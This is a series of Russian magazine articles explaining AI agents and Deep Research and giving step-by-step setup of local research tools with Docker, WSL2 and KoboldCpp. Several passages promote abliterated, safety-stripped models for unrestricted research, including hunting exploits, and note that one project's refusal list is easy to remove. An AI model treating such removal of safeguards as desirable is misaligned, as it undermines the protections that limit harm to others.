выбор слоев для  ортогонализации (разворота) осуществляется на  основе
отношения сигнал/шум. Моделями из репозитория Ex0bit (PRISM, Abliterated)
можно и  нужно пользоваться  — они не  уступают моделям, модифицирован‐
ным MPOA.

Ex0bit

ЗАКЛЮЧЕНИЕ

Подытожим. За  два года методы аблитерации прошли долгий путь  —
от каменного века до современных вариантов, которые, убирая ограничения,
только добавляют моделям ума. Возможно, у расцензуренных современными
методами моделей со  временем обнаружатся свои проблемы и  подводные
камни, но  аблитерированными весами уже можно пользоваться. Тег
abliterated перестал быть синонимом к  слову «тупой», а  члены сообщества,
занимающиеся тюнингом моделей, вместо борьбы с  цензурой смогут сос‐
редоточить усилия и  ресурсы на  обучении моделей чему‑то действительно
важному. Например, тому, как писать без слопа. © X
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Спойлер: ты уже пользуешься ИИ‑аген‐
тами, даже если сам этого еще не осознал.
Забудь про времена, когда нейросеть мог‐
ла только галлюцинировать несуществу‐
ющими фактами: теперь она прекрасно
галлюцинирует фактами вполне реальными!

Сегодняшний ИИ умеет брать в  руки виртуальную электродрель, ходить
по  сайтам, выкачивать данные и  делать сложные логические выводы. Давай
разберемся, что такое агенты и  как работает режим Deep Research, почему
размер не самое главное и как поднять собственного карманного исследова‐
теля, который найдет для тебя что угодно — без цензуры и ограничений.

Помнишь ChatGPT 3.5? Я еще  застал. По  современным меркам  — прос‐
тенькая модель невысокого качества, но в свое время это был прорыв. А пом‐
нишь, как  уверенно галлюцинировала эта модель, с  ходу соглашаясь
с  самыми бредовыми идеями и  творчески их развивая? Это  все оттого, что
модель опиралась только на собственные «знания», которых у нее, конечно,
много, но они  сжатые.очень

Модель не могла дословно пересказать «Войну и мир», но могла быстро
пробежаться по  сюжету; это  — сжатие. А  про какой‑нибудь редкий фанфик
модель и вовсе могла не знать ничего, но в процессе чата, если окно контек‐
ста уже забито предысторией, запросто могла начать «додумывать» недос‐
тающие знания. Это — галлюцинации.

А попросить модель посчитать число r в слове strawberry? Это классичес‐
кий тест, который классические авторегрессивные модели классическим
образом проваливают за счет особенностей токенизатора. А попроси модель
решить математическую задачу с  рекурсией? Да  хотя  бы просто удалить
из текста все сноски (цифры в конце предложений, после точки)? То, что ты
получишь на выходе, тебя удивит.

Или уже нет. Потому что модель поймет, что от нее требуется, напрограм‐
мирует скрипт на каком‑нибудь Python или сгенерирует регулярное выраже‐
ние, запустит, посчитает — и выдаст тебе корректный  (то

есть  — предсказуемый, а  не нагаллюцинированный) результат. Вот это  —
работа агента.

алгоритмический

Точно так же, если ты спросишь современную модель о чем‑то, чего она
не знает (или, скажем, о чем‑то, что случилось уже после точки data cut-off —
то есть позднее самых свежих данных из  датасета, на  котором обучалась
модель), тот же Gemini, Claude или  ChatGPT может отбрехаться («извини,
дорогой, тут не  знаю»  — как  правило, в  «быстрых» бесплатных вариантах)
или  же подумать, сформировать запрос и  задействовать поисковый агент,
который самостоятельно найдет в  том же Google недостающие данные,
откроет ссылки и  передаст нейросети нужную информацию. Это  — тоже
агент.

Если по‑простому: инструменты  — это  то, чем модель может щелкать,
как  тумблерами (через механизм Tool Calling). Агент  — это  когда модель
начинает щелкать ими в  цикле, сама себя проверяя и  поправляя. Модель
может сама создать код (и запустить его), а  может делегировать эту задачу
агенту.

Агенты могут самостоятельно размножаться (spawn), что легко может при‐
вести (и постоянно приводит) к  серьезным проблемам  — но  кого и  когда
это останавливало, если можно задать модели задачку, а дальше она сама?
Впрочем, из  простого чата Claude или  ChatGPT бесконечный цикл размно‐
жения ты не запустишь — никому не интересно, чтобы ты сжег все серверные
мощности за жалкую двадцатку в месяц.

Чаще всего про агенты ИИ говорят в контексте вайб‑кодинга. Кодинг меня
интересует со  знаком минус, поэтому пусть о  нем напишут те, кто в  этом
понимает. Я же расскажу о том, чем пользуюсь сам, — функциях продвинуто‐
го исследования, Deep Research.

Deep Research под  разными именами есть практически во  всех популяр‐
ных моделях, а  не только в  «большой четверке» (ChatGPT, Gemini, Claude,
Grok), а сервис Perplexity и вовсе специализируется именно на этом.

Суть Deep Research как  раз в  том, что на  основе запроса пользователя
модель формулирует проблему, разбивает ее на шаги, а затем во множестве
итераций (не буду с ходу утомлять тебя подробностями, расписывая по шагам
действия вроде поиск — уточнение — самокоррекция, тем более что у каж‐
дой модели алгоритм свой) ищет в  сети информацию, читает ее, уточняет
план действий, снова ищет, снова уточняет — и так до тех пор, пока модель
не получит требуемый результат с достаточной степенью достоверности.

На этом  — как  бы конец галлюцинаций; данные достоверны ровно нас‐
только, насколько в сети есть об этом информация (ну и модель, конечно же,
подключает свои «мозги», чтобы отфильтровать явный бред).

КАК НА САМОМ ДЕЛЕ РАБОТАЕТ DEEP RESEARCH

Здесь нужно немного сбить градус пафоса. Deep Research — это алгоритм,
причем довольно сложный; уровень галлюцинаций там сводится к минимуму,
и вместо «я придумал» будет в крайнем случае «я так вижу» (однако «видеть»
модели могут ох как по‑разному).

Алгоритм Deep Research (и его аналоги) базируется на  разнообразных
фреймворках от  чистых ReAct (Reasoning and  Acting) до  разных гибридов:
где‑то multi-agent (как у  Anthropic Research), где‑то planner/executor, где‑то
retrieval-пайплайн с  отдельным ранжированием, где‑то браузинг‑агент. Если
обычная модель просто выдает текст токен за  токеном, то режим глубокого
исследования заставляет ее работать в цикле. Вот как выглядит этот цикл:

: ты просишь поискать информацию, скажем, об уязвимос‐

тях в  конкретном IoT-устройстве за  последние три года. Модель не  идет
сразу в  Google. Она сначала создает текстовый план: «Так, для  начала:
а  это вообще можно? Не  нарушает ли моих этических установок? Нет?
Тогда шаг первый: найти производителя. Шаг второй: найти CVE по этому
вендору. Шаг третий: поискать эксплоиты на GitHub».

• Декомпозиция

. Модель формирует запрос и  вызывает
API поисковика.

• Действие: вызов инструмента

: поисковик возвращает ссылки. Агент смотрит на снип‐

петы и  скачивает HTML-страницы (через headless-браузер или  парсер),
вычищает оттуда рекламный мусор, баннеры и навигацию, оставляя только
голый текст.

• Чтение и парсинг

: модель читает этот текст и спрашивает

саму себя: «Я нашла то, что просили?» Если в  тексте просто вода
или  форум, где кто‑то задал тот же вопрос без  ответа, модель помечает
попытку как  неудачную и  добавляет источник в  список «изученных,
но неиспользованных».

• Рефлексия (оценка результата)

: если ответ не  найден, модель меняет стратегию. Она

понимает: «Ага, запрос был слишком узким. Попробую поискать смежные
уязвимости в том же чипсете».

• Самокоррекция

: все это работает циклическим образом до тех пор, пока не будет
накоплено достаточно информации или  пока не  исчерпается лимит
на  количество циклов или  поисковых запросов. После этого модель
собирает все найденные и  проверенные куски в  единый связный текст
со  ссылками на  источники  — и  генерирует ответ на  твой начальный зап‐
рос.

• Синтез

Почему это  убивает галлюцинации? Потому, что в  режиме Deep Research
модель перестает полагаться на свои внутренние, сжатые при обучении веса.
Она использует свои языковые способности не  для генерации фактов,
а  исключительно для  анализа внешнего текста, который только что скачала.
Если в скачанном тексте факта нет, она его не выдумает (в идеале).

Что это означает на практике? Во‑первых, архитектуру процесса глубокого
поиска часто разделяют на  роли. Да, сделать финальную выжимку из  уже
готового, скачанного текста сумеет любая модель, даже самая мелкая
и  тупая. Но  вот качество самого «глубокого исследования» уже зависит
от оркестратора — главной модели, которая принимает решения.

Оркестратор должен уметь мыслить логически и  критически: грамотно
разбивать задачу на шаги, без ошибок формировать запросы к инструментам
(тому же поисковику) и вовремя понимать, что стратегия зашла в тупик и пора
перестать гуглить одно и  то же. Посадишь на  место оркестратора слабую
нейронку — просветлишься и поймешь смысл поговорки «если хочешь, чтобы
было сделано хорошо, сделай сам».

Во‑вторых (и это  самое интересное), алгоритм Deep Research ты вполне
можешь запустить и  на своем компьютере. Опенсорс сейчас выдает фан‐
тастические вещи, и тебе не нужно платить за дорогие подписки с жесткими
лимитами, если у тебя есть относительно свежее железо.

В качестве «умного оркестратора» для  локального исследования сейчас
подходят, к примеру, такие варианты:

Линейка GPT OSS: какое‑то время назад OpenAI выкатила открытые веса.
В  частности, GPT OSS 20B (MoE, очень шустрая, запускается на  консер‐
вной банке) и  GPT OSS 120B (тоже на  удивление быстрая, но  уже серь‐
езная модель для сложных логических цепочек). Обе модели — ризонеры
(то есть умеют «думать»).

•

GLM 4.5 Air: еще  одна отличная MoE-модель. В  ней заложен гибридный
режим рассуждений, и  она прекрасно понимает, как  работать с  инстру‐
ментами и браузером.

•

Свежая линейка Qwen 3.5: эти модели вышли совсем недавно и выглядят
весьма впечатляюще. У них есть MoE-версия на 35B, классическая «плот‐
ная» модель на 27B и шикарная MoE на 122B. Все умеют думать (правда,
иногда зацикливаются; народ сейчас это  активно фиксит). Изначально
обучались как  нативные мультимодальные агенты, поэтому для  Deep
Research подходят замечательно.

•

И вишенка на  торте: для  всех упомянутых моделей энтузиасты уже сделали
аблитерированные версии, то есть без  цензуры и  с оторванными ограничи‐
телями безопасности (подробнее про  аблитерацию  — в  моей 

). Уверен, ты оценишь!
предыдущей

статье
Коммерческая модель в облаке может просто отказаться искать информа‐

цию по какой‑нибудь скользкой теме (например, модели Anthropic почему‑то
 создавать роботов‑убийц — правда же, странное ограничение?).не хотят

ХОЧУ-ХОЧУ! КАК?

Развернуть аналог Deep Research локально довольно просто, и  сейчас
это  вообще один из  главных трендов на  GitHub. Никто не  хочет платить
по  подписке за  Pro-модели с  жесткими лимитами, если дома стоит мощная
видеокарта.

Вот лишь несколько примеров готовых инструментов.
. Это опенсорсный клон известного поисковика Perplexity. Уста‐

навливается в  пару кликов через Docker. Он подвязывается к  твоим локаль‐
ным моделям и  к локальному поисковому движку (обычно это  SearXNG,
который парсит Google анонимно). В итоге у тебя прямо в браузере крутится
приватный поисковый ИИ с красивым интерфейсом.

Perplexica

 (от LangChain) или   (последний  —
это скорее для внутренних документов, но и в Google ходить умеет). Это уже
посложнее — инструменты именно для глубокого, подробного исследования.
Они позволяют гибко настроить пайплайн: например, задать «используй вот
эту локальную модель для логики, вот этот парсер для веба» и отправить ее
в интернет на час‑другой.

Open Deep Research DeepSearcher

 (например,  или  проекты вроде 

). Буквально одной командой в  терминале (или через встро‐
енный веб‑интерфейс) ты запускаешь агент. Он методично шерстит сеть, ска‐
чивает PDF’ки и статьи, скармливает их локальной нейронке (или любой дру‐
гой модели через API) и  в конце выдает готовый отчет со  ссылками
на источники.

CLI-утилиты Local Deep Research Auto-

Deep-Research

Так что твоя локальная аблитерированная версия модели без  лишних
моральных терзаний может теперь пойти копать форумы, парсить мануалы
к эксплоитам и делать выводы. Как говорится, на здоровье! © X

mailto:aoleg@voicecallcentral.com
https://xakep.ru/2026/02/11/abliteration/
https://xakep.ru/2026/02/11/abliteration/
https://xakep.ru/2026/03/02/anthropic-dow/
https://github.com/ItzCrazyKns/Perplexica
https://github.com/langchain-ai/open_deep_research
https://github.com/zilliztech/deep-searcher
https://github.com/LearningCircuit/local-deep-research
https://github.com/HKUDS/Auto-Deep-Research
https://github.com/HKUDS/Auto-Deep-Research
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С появлением больших языковых моделей
привычки пользователей стали меняться.
«Тебя в  гугле забанили?» сменилось
на  «спроси у  ChatGPT». Но  как заставить
модель дать качественный ответ?
На  помощь приходит механизм Deep
Research, и  сегодня мы посмотрим,
как  развернуть его у  себя, чтобы сделать
свой аналог Perplexity. Легко не  будет,
но мы справимся!

INFO

Не так давно я  статью о принципах работы
глубокого исследования с  использованием язы‐
ковых моделей. Сегодня плотнее займемся этим
на практике.

писал

Ситуация с  галлюцинированием, когда модель придумывает ответ вместо
того, чтобы хотя  бы сказать «не знаю», стала меняться только тогда, когда
LLM (и пока мы говорим только о крупных облачных моделях) научились поль‐
зоваться инструментами, запрашивая недостающую информацию
из  интернета. Теперь вместо уверенных галлюцинаций модель может выйти
в сеть, поискать информацию — и оформить в виде красивого отчета.

Поиск  — это  еще не  Deep Research. Модель генерирует один запрос,
смотрит результаты и на их основе дает ответ. Следом появились агенты —
автономные сущности, которые могут самостоятельно запрашивать и  ана‐
лизировать данные.

На смену классическим, хоть и умным поисковикам пришли системы глу‐
бокого исследования (Deep Research). Эти системы не просто находят ссыл‐
ки, как это делает Google, и даже не просто генерируют обзорную статью «по
мотивам», а  выполняют многоэтапный аналитический процесс: анализируют
сложный запрос пользователя и  разбивают его на  части, самостоятельно
ищут в интернете информацию по каждой подзадаче, скачивают и дистилли‐
руют веб‑страницы и распознают PDF-документы, постоянно проверяя себя:
найден ли ответ на  запрос пользователя? А  точно найден? А  точно на  ори‐
гинальный запрос или  мы закопались в  ненужные дебри? И  только после
того, как  критерии будут выполнены (или у  системы закончатся выделенные
ресурсы), система сгенерирует итоговый аналитический отчет со  всеми
ссылками и цитатами.

Звучит как фантастика? Но это работает. Если ты еще не пробовал сервис
 — попробуй, даже бесплатная версия способна заменить традици‐

онные поисковики, если тебе нужен не набор ссылок, а ответ на конкретный
вопрос. Если же у тебя есть доступ к платной версии, то тебе будут доступны
как  более мощные модели‑оркестраторы, так и  фирменный режим Deep
Research, который не  просто выдаст ответ на  вопрос, а  напишет по  теме
целую диссертацию. Подобные режимы есть у  большинства крупных
облачных моделей — где‑то за деньги, но где‑то и бесплатно. Gemini, Claude,
ChatGPT, Grok — режим исследователя есть во всех этих моделях.

Perplexity

Если у тебя нет доступа ни к одной из них — не проблема. Deep Research
есть, например, у  . Это  мощная модель с  открытыми весами на  1Т
параметров. У нее есть режимы Agent и Agent Swarm.

Kimi K2.5

Еще вариант  — GLM-5  от  . Здесь можно просто включить режимы
Advanced Search и Deep Thinking, а можно попробовать новый режим Agent.
Запусти исследование, и модель будет выдавать тебе подробный лог: какие
инструменты использовались, какие скрипты вызывались, какие именно поис‐
ковые запросы; строки кода и  команды красиво и  убедительно бегут в  тер‐
минале.

z.ai

Все это  прекрасно, но… это   модели со  всеми вытекающими:

отсутствие приватности, прописанная в  политиках безопасность и  сох‐
ранение всех твоих запросов на серверах моделей, а также более (у запад‐
ных моделей) или менее (у китайских) жесткие цензурные рамки. Что делать,
если Claude просто заблокирует твой аккаунт, потому что ты зашел из «неп‐
равильной» локации? Да и завести у себя подобную систему, у которой в сеть
будут уходить только анонимные запросы к  поисковикам, хочется
как минимум из спортивного интереса.

облачные

Давай разберемся, что предлагает сообщество разработчиков с  откры‐
тым исходным кодом.

КТО ЕСТЬ КТО НА GITHUB

Рынок систем автономного поиска и агрегации данных сегодня перенасыщен
проектами разной степени паршивости. Чтобы отделить зерна от плевел, мы
сфокусируемся исключительно на  опенсорсных проектах, имеющих репози‐
тории на GitHub, высокую популярность среди разработчиков и активную под‐
держку. Проекты, не  получавшие коммитов больше года, мы рассматривать
не будем, так как в индустрии ИИ год без обновлений равносилен смерти.

В статье «
» я упоминал Perplexica (уже переименован в 

), , ,

 и  .

Добавлю к  ним проекты  и 

, после чего список можно считать достаточно подробным.

Агенты ИИ. Как  работает режим Deep Research и  как его раз‐
вернуть у  себя ItzCrazyKns/
Vane langchain-ai/open_deep_research zilliztech/deep-searcher
LearningCircuit/local-deep-research HKUDS/Auto-Deep-Research

dzhng/deep-research assafelovic/gpt-
researcher

Впрочем, для наших целей подойдет далеко не каждый из этих проектов.
Так, система Open Deep Research, разработанная создателями популярного
фреймворка LangChain,  — это  прекрасный инструмент для  построения пай‐
плайнов глубокого анализа. В  основе системы лежит архитектура графовой
оркестрации агентов LangGraph, позволяющая гибко настраивать состояния
и переходы между фазами исследования.

Процесс разделен на  три логических этапа: определение масштаба
(scope), непосредственно само исследование с  использованием поисковых
инструментов и финальный отчет. Система прекрасно показывает себя в бен‐
чмарках, а  интеграция с  серверами MCP позволяет натравливать агента
не  только на  веб, но  и на  локальные базы данных. Тем не  менее нам он
не подойдет: слишком сложен. Это скорее фреймворк для гиков и разработ‐
чиков, чем готовый продукт.

Проект DeepSearcher от  Zilliz тоже не  наш вариант: он ориентирован
на  Enterprise Knowledge Management  — корпоративный поиск по  приватным
данным. Интересно, но не для нас.

Сюда же запишем Local Deep Research  — инструмент, созданный спе‐
циально для глубоких исследований в домашних условиях. Мне он показался
избыточно сложным; он отличается параноидальным подходом к  безопас‐
ности: все локальные базы данных шифруются, учетные данные живут только
в рамках сессии. Пожалуй, перебор.

Что будем пробовать
Одним из фаворитов, совместивших локальные модели и простой интерфейс
в виде строки в браузере, стал проект Perplexica, в начале марта сменивший
название на Vane. Изначально он задумывался как опенсорсный клон извес‐
тного поисковика Perplexity. Vane представляет собой приватный поисковый
ИИ, который разворачивается локально и работает прямо в окне браузера.

 может использовать любую локальную модель LLM, которую

ты заведешь на своем компьютере; для поиска — движок SearXNG, который
анонимно парсит Google, Bing и  другие платформы, не  оставляя цифровых
следов. Есть «быстрый» и  «качественный» режимы, можно загружать PDF,
искать по изображениям.

Perplexica

Приятно, что SearXNG уже входит в состав контейнера — не нужно возить‐
ся с  Docker Compose. Устанавливается просто, работает интуитивно,
обновления выходят регулярно, а архитектура позволяет запускать весь ком‐
байн одной командой.

, созданный Ассафом Эловиком, тоже интересный про‐
ект, по крайней мере на бумаге; попробуем запустить и его. GPT Researcher
умеет проводить параллельный сбор данных из  множества источников
и генерировать отчеты с цитированием, поддерживает облачные и локальные
модели. В общем, будем пробовать!

GPT Researcher

Наконец, многообещающе  — опять же на  бумаге  — смотрится проект
, написанный на  Node.js и  подкупающий простотой,

настройками глубины и охвата исследования и обещанной интерактивностью
(задаст тебе уточняющие вопросы по теме исследования). Рассмотрим и его.

dzhng/deep-research

МОДЕЛЬ-ОРКЕСТРАТОР

Умный поиск требует не столько знаний, сколько логики. Для Deep Research
вовсе не  обязательно использовать модель с  триллионом параметров  —
вполне приличные результаты, сравнимые с  бесплатной версией Perplexity,
можно получить и с компактной моделью.

Общие рекомендации просты: бери современную модель максимального
размера, который (вместе с кешем контекста) поместится в видеопамять тво‐
его компьютера с  квантом Q4_K_M, Q5_K_M или  выше. Если же ты исполь‐
зуешь современную модель с  архитектурой MoE, то слои экспертов вполне
можно разместить и  в обычной памяти компьютера (в KoboldCpp это  либо
галочка Auto Fit, либо ручной подбор параметра MoE CPU Layers) с  нез‐
начительным падением производительности.

Для работы тебе потребуется локальная языковая модель, запущенная
на твоем компьютере, — она будет использоваться в качестве оркестратора
и  генератора финального отчета. В  качестве бэкенда используем
KoboldCpp  — я писал о  его настройке в  одной из  , но, если ты пред‐
почитаешь llama.cpp или  ik_llama, это  тоже отличный выбор. От  движка тебе
нужен API, совместимый с OpenAI.

статей

Далее нужно выбрать языковую модель, которая будет обрабатывать зап‐
росы, управлять агентами и генерировать финальный отчет. Для исследова‐
ния тебе понадобится окно контекста порядка 32K токенов (32 768), причем
уместить его крайне желательно в  видеопамять, иначе работать все будет
очень медленно.

В то же время собственные знания модели нам не  слишком важны: ее
роль  — понять запрос, суметь разбить его на  подзадачи и  суметь сделать
внятную выжимку из найденных материалов (в разных проектах используются
разные подходы, от очищенного текста веб‑страниц в формате JSON до век‐
торного представления для RAG).

В теории с  этим справится даже модель с  7–9B параметров, но  лучше
взять что‑то с 12–15B (для плотных моделей) или 30–35B (для MoE). Если же
ты можешь себе позволить запустить с  приемлемой скоростью плотную
модель на  24–27B, то ты сможешь работать даже с  русскоязычными иссле‐
дованиями.

Я проверил следующие модели:
 на  моих запросах показала лучшие результаты. Если

будешь качать эту модель (например, квант Q4_M), обрати внимание
на  организацию контекста: нужно обязательно активировать режим SWA
( ) в  настройках KoboldCpp. Для  этого выбрать
Context → Use SWA (Sliding Window Attention), размер контекста ука‐
зать 32 768 (или столько, сколько поместится), а в Hardware → Batch Size
укажи максимум, который позволяет видеопамять (я сделал  4096).
Для  моделей семейства Gemma 3  последний параметр 
на эффективный размер окна.

• Gemma 3  27B

Sliding Window Attention

влияет

 (плотная)  (MoE) — отличные модели, но архитек‐

тура Qwen 3.5  пока слишком новая: иногда модели могут надолго
«задумываться»; несколько раз зацикливались. Вполне возможно, что
на  момент выхода этой статьи поддержку моделей семейства Qwen
3.5 допилят. Модели интересны своей гибридной архитектурой: кеш кон‐
текста занимает у  них значительно меньше видеопамяти, чем у  традици‐
онных моделей; окно контекста можно значительно расширять без особых
проблем.

• Qwen 3.5 27B или 35B

 — еще одна современная MoE-модель на 30B параметров.

Очень и очень неплохо.

• GLM 4.7 Flash

Для всех перечисленных моделей есть  варианты.
Для Gemma это gemma-3-27b-it-ultra-uncensored-heretic, для моделей семей‐
ства Qwen 3.5 предпочтительнее использовать версии Derestricted от ArliAi (в
моих тестах они лучше работали с инструментами по сравнению с версиями
heretic), для GLM 4.7 Flash — версию absolute herecy.

аблитерированные

Кроме них, можно использовать и специализированные модели, заточен‐
ные под Deep Research, например модели семейства Nemotron или 

. Разумеется, никто не  мешает тебе
запустить и  чрезвычайно быстрый, работающий и  на крышке от  консервной
банки GPT-OSS 20B (MoE с  нативным квантом MXFP4), для  которого тоже
есть аблитерированная версия. Вариантов множество, пробуй!

Alibaba-
NLP/Tongyi-DeepResearch-30B-A3B

Помимо контекста, стоит указать параметр Default Gen Amount — это мак‐
симальное число токенов, которое за  один проход будет генерировать
модель. С одной стороны, он влияет на объем финального отчета, но с дру‐
гой — если что‑то пойдет не так (например, на одном из промежуточных эта‐
пов модель зациклится), тебе придется ждать окончания генерации всех этих
токенов. Начни с 4096, потом можно будет поменять.

ПОДГОТОВКА: WSL 2 И DOCKER DESKTOP

Большинство проектов доступно в виде готовых контейнеров Docker. Если ты
работаешь в Windows, нужно будет настроить среду WSL 2, установить в ней
дистрибутив Linux, настроить виртуализацию, установить и настроить Docker
Desktop. Если у тебя все это уже есть — переходи сразу к следующему раз‐
делу.

Для начала активируем подсистему WSL 2. Открываем PowerShell с  пра‐
вами администратора и выполняем команду

 wsl --install

Эта команда автоматически скачает необходимые компоненты виртуали‐
зации и  развернет дистрибутив по  умолчанию (возможно, это  будет Ubuntu,
но у меня еще с первой версии WSL работает Debian).

Если WSL у  тебя уже стоит, убедись, что дистрибутив работает именно
на  второй версии движка. Проверить это  можно командой .

Если в колонке версии стоит единица, принудительно обновляем архитектуру:

wsl.exe -l -v

   wsl.exe --set-version Ubuntu 2

Вместо  можно подставить название своего дистрибутива.Ubuntu
После завершения установки и  инициализации пользователя в  консоли

Linux компьютер нужно перезагрузить.
Дальше ставим Docker Desktop. Скачиваем инсталлятор 

с  официального сайта или  из магазина Windows. При  установке проконтро‐
лируй чекбокс Use WSL 2 instead of Hyper-V (recommended) — он должен быть
установлен. Скорее всего, после установки тебе придется снова перезаг‐
рузить компьютер.

Installer.exe

Дальше можно запустить Docker Desktop и  убедиться, что опция Use
the WSL 2 based engine активна (это в меню настроек — иконка шестеренки,
вкладка General). В разделе Resources → WSL Integration включи интеграцию
с установленным дистрибутивом Linux, если он отличается от дефолтного.

VANE

Давай разберем, как запустить Vane с помощью Docker Desktop для WSL2.

Проверяем интеграцию WSL в Docker Desktop
Убедимся, что Docker Desktop корректно настроен и связан с твоим дистри‐
бутивом WSL.
1. Открой  в среде Windows.Docker Desktop

2. Кликни на  значок шестеренки ( ), раздел  (Ресурсы),

.

Настройки Resources

WSL Integration

3. Убедись, что галочка напротив пункта 

 установлена. Ее можно включить и  для какого‑то конкретного
дистрибутива (переключатель в списке ниже).

Enable integration with my default

WSL distro

4. Нажми .Apply & restart

Запускаем Vane через WSL
Теперь перейдем к  развертыванию самого приложения. Запусти свой
любимый дистрибутив Linux в WSL и выполни в нем следующую команду:

 docker run -d -p 3000:3000 -v vane-data:/home/vane/data --name vane 
itzcrazykns1337/vane:latest

Вот что она делает:
загружает образ Vane;•
пробрасывает веб‑интерфейс на порт 3000;•
создает постоянный том (vane-data), чтобы настройки и  данные сох‐
ранялись при перезапуске и обновлении контейнера;

•

запускает контейнер в фоновом режиме (-d).•

Настройка в браузере
Дождись инициализации контейнера. Первоначальное скачивание образа
займет пару минут.

В Docker Desktop картина будет примерно такая

Далее открой браузер (в основной системе, не  в WSL) и  в нем перейди
по ссылке  (можно просто кликнуть на линк в колонке
Ports в окне Docker).

http://localhost:3000

На экране начальной настройки Vane можно сконфигурировать ключи API,
выбрать нужные языковые модели и  задать системные параметры. Запусти
KoboldCpp, загрузив в  нем любую модель, и  посмотри, какую ссылку он
выдаст в терминале. Тебя интересует строка вида

Starting OpenAI Compatible API on port 5001 at http://localhost:5001/
v1/

Поскольку Vane работает в  контейнере, хост  ему недоступен.

Вместо этого используй ссылку в таком формате:

localhost

http://host.docker.internal:5001/v1

Должно получиться приблизительно так

Обрати внимание: ключ может быть любым (KoboldCpp по  умолчанию
не будет его проверять; ключ нужно указывать в основном при доступе через
API к  облачным моделям), имя модели не  важно (в любом случае модель
будет загружена только одна).

Модели embedding рекомендую оставить по  умолчанию. Да, ты можешь
дополнительно загрузить в  KoboldCpp какую‑нибудь хорошую модель
для векторизации найденных страниц, и я попробовал это сделать, но, честно
говоря, большой разницы не увидел. Поэтому оставляем как есть.

Все, теперь можно пользоваться! Например, можно посмотреть, какие
опенсорсные альтернативы для Deep Research нам найдет наш продукт.

Не пройдет и пары минут, как Vane сформирует отчет.

INFO

Ты можешь установить Vane в  качестве одного
из поисковых провайдеров в браузере. Для этого
достаточно в  настройках браузера добавить
новый поисковик, указав в  качестве ссылки

. Теперь
прямо из окна браузера ты сможешь пользовать‐
ся «умным» поиском Vane  — практически личная
Perplexity на минималках.

http://localhost:3000/?q=%s

Технические особенности и ограничения Vane
Несмотря на простоту интерфейса, под капотом архитектура довольно прод‐
винутая. Настроек тут минимум, но кое‑что есть.

Режимов работы всего три: Speed, Balanced и  Quality. Как‑то повлиять
на глубину или охват исследования ты не можешь.

В основе работы Vane лежит механизм вызова функций (tool calling),
который встроен в  сами языковые модели. Особенно ярко это  проявляется
в  режиме Quality: LLM сама анализирует задачу, формирует поисковые зап‐
росы, читает результаты и решает, нужно ли копнуть глубже.

Продолжение статьи →
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COVER STORY  НАЧАЛО СТАТЬИ←

Поскольку выбранная тобой модель ИИ управляет процессом поиска, резуль‐
тат зависит от  качества модели, причем «качество» здесь не  исчисляется
в  миллионах параметров. Важно, чтобы модель хорошо держала контекст
и  не путалась в  длинных цепочках вызовов инструментов; в  своих экспе‐
риментах я не  раз натыкался на  модели, которые прекрасно пишут текст,
но при работе в исследовательском режиме или весьма поверхностны, или и
вовсе зацикливаются.

С другой стороны, найти более‑менее современную модель со  слабой
поддержкой tool calling уже сложно  — просто старайся использовать офи‐
циальные модели (или их версии с  аблитерацией, но  без дообучения)
в хорошем кванте (Q_4_M или больше).

Когда Vane скачивает страницы из интернета, он не пытается втиснуть их
в  модель целиком. Вместо этого используются миниатюрные модели
embedding. Они превращают текст найденных сайтов в векторы, сравнивают
их с  твоим запросом и  подтягивают в  контекст LLM только самые релеван‐
тные фрагменты. Это  классический подход RAG (Retrieval-Augmented
Generation), позволяющий модели анализировать объем данных, кратно пре‐
вышающий ее окно контекста.

И последнее — системный запрос (в настройках Personalization). Тут у тебя
есть некоторая свобода творчества; ты можешь дать модели конкретные инс‐
трукции, задать стиль, тон и даже язык ответа. Например, я сделал такой сис‐
темный запрос:

«

»

You are an exhaustive, highly analytical research agent. When presented
with a query, you MUST NOT answer immediately based on your internal
knowledge. Instead, you must adhere to the following strict research loop:

Deconstruct: Analyze the  user’s prompt to  identify the  core question
and at least two distinct sub-topics or alternative angles.

Iterative Search: You must formulate and  execute a  MINIMUM of  3
distinct search queries using your web search tool. Do not do these all
at  once. Search, read the  context, and  then formulate the  next search
based on what is missing.

Verify: If  the search results contain conflicting data or  lack depth,
execute additional searches to verify the facts.

Synthesize: Only after you have gathered a  comprehensive, multi-
faceted dataset from your searches should you begin writing your final
response.

Output: Provide a highly detailed, structured, and objective answer. You
must heavily cite your claims using the  exact context provided by your
searches. If  the search results do not contain the answer, explicitly state
that you could not find the information.

Лайфхак: если хочешь, чтобы модель искала исключительно по  русскоязыч‐
ным источникам и  отвечала тоже на  русском, добавь в  начало системного
промпта инструкцию:

« »CRITICAL INSTRUCTION: Search and write your replies in Russian only.

GPT RESEARCHER

Второй проект, который меня заинтересовал,  — . На  бумаге
все выглядит интересно: обычный Python без  контейнеров, но  можно пос‐
тавить и через Docker; работает с локальными и облачными моделями. Одна‐
ко при  ближайшем рассмотрении всплыло несколько особенностей,
в результате которых я отказался от использования этого проекта.

GPT Researcher

1. Для поиска GPT Researcher дергает Tavily API, а для этого нужна регистра‐
ция и ключ. Подобных зависимостей я старался избегать. Мы ведь хотим
всё делать локально!

2. В процессе исследования GPT Researcher теоретически должен создавать
релевантных теме исследования экспертов, от имени которых должна вес‐
тись работа над  разными секциями. На  практике же, похоже, эксперты
не  создаются на  основе запроса, а  просто выбираются из  готовых вари‐
антов. У меня все время работали эксперты вроде «финансовый аналитик»
и  «специалист по  кибербезопасности», причем независимо от  темы
исследования. В результате при поиске CVE-такой‑то в отчете всегда при‐
сутствовал ненужный раздел Financial impact of critical vulnerabilities.

3. Язык. Ряд запросов жестко прошит, и модель в итоге сбивается на англий‐
ский.

4. Встроенная цензура. Прямо в исходных файлах проекта перечислены сот‐
ни, если не  тысячи тем, которые продукт откажется обсуждать. Да, все
это доступно в исходниках, и если бы все остальное было замечательно,
то эти ограничения можно легко отломать, но… честно говоря, на данном
этапе я уже потерял интерес к проекту.

Вот, кстати, как выглядят жестко прошитые промпты:

 {

  "server": "💰 Finance Agent",

  "agent_role_prompt": "You are a seasoned finance analyst AI 
assistant. Your primary goal is to compose comprehensive, astute, 
impartial, and methodically arranged financial reports based on 
provided data and trends."

}

DEEP RESEARCH ОТ DZHNG

Итак, с  Vane разобрались, GPT Researcher не  подошел. Что еще  осталось
из  интересного? Довольно много, но  мне хотелось найти что‑нибудь поп‐
роще  — и  чтобы можно было настраивать охват и  глубину исследования.
На свою голову — нашел: . Признаться, я убил полови‐

ну дня, пытаясь заставить работать этот проект, а  точнее  — заставить его
работать без  использования платного онлайнового сервиса Firecrawl. Инс‐
трукция ниже — результат нескольких часов возни с контейнерами и борьбы
с ошибками.

dzhng/deep-research

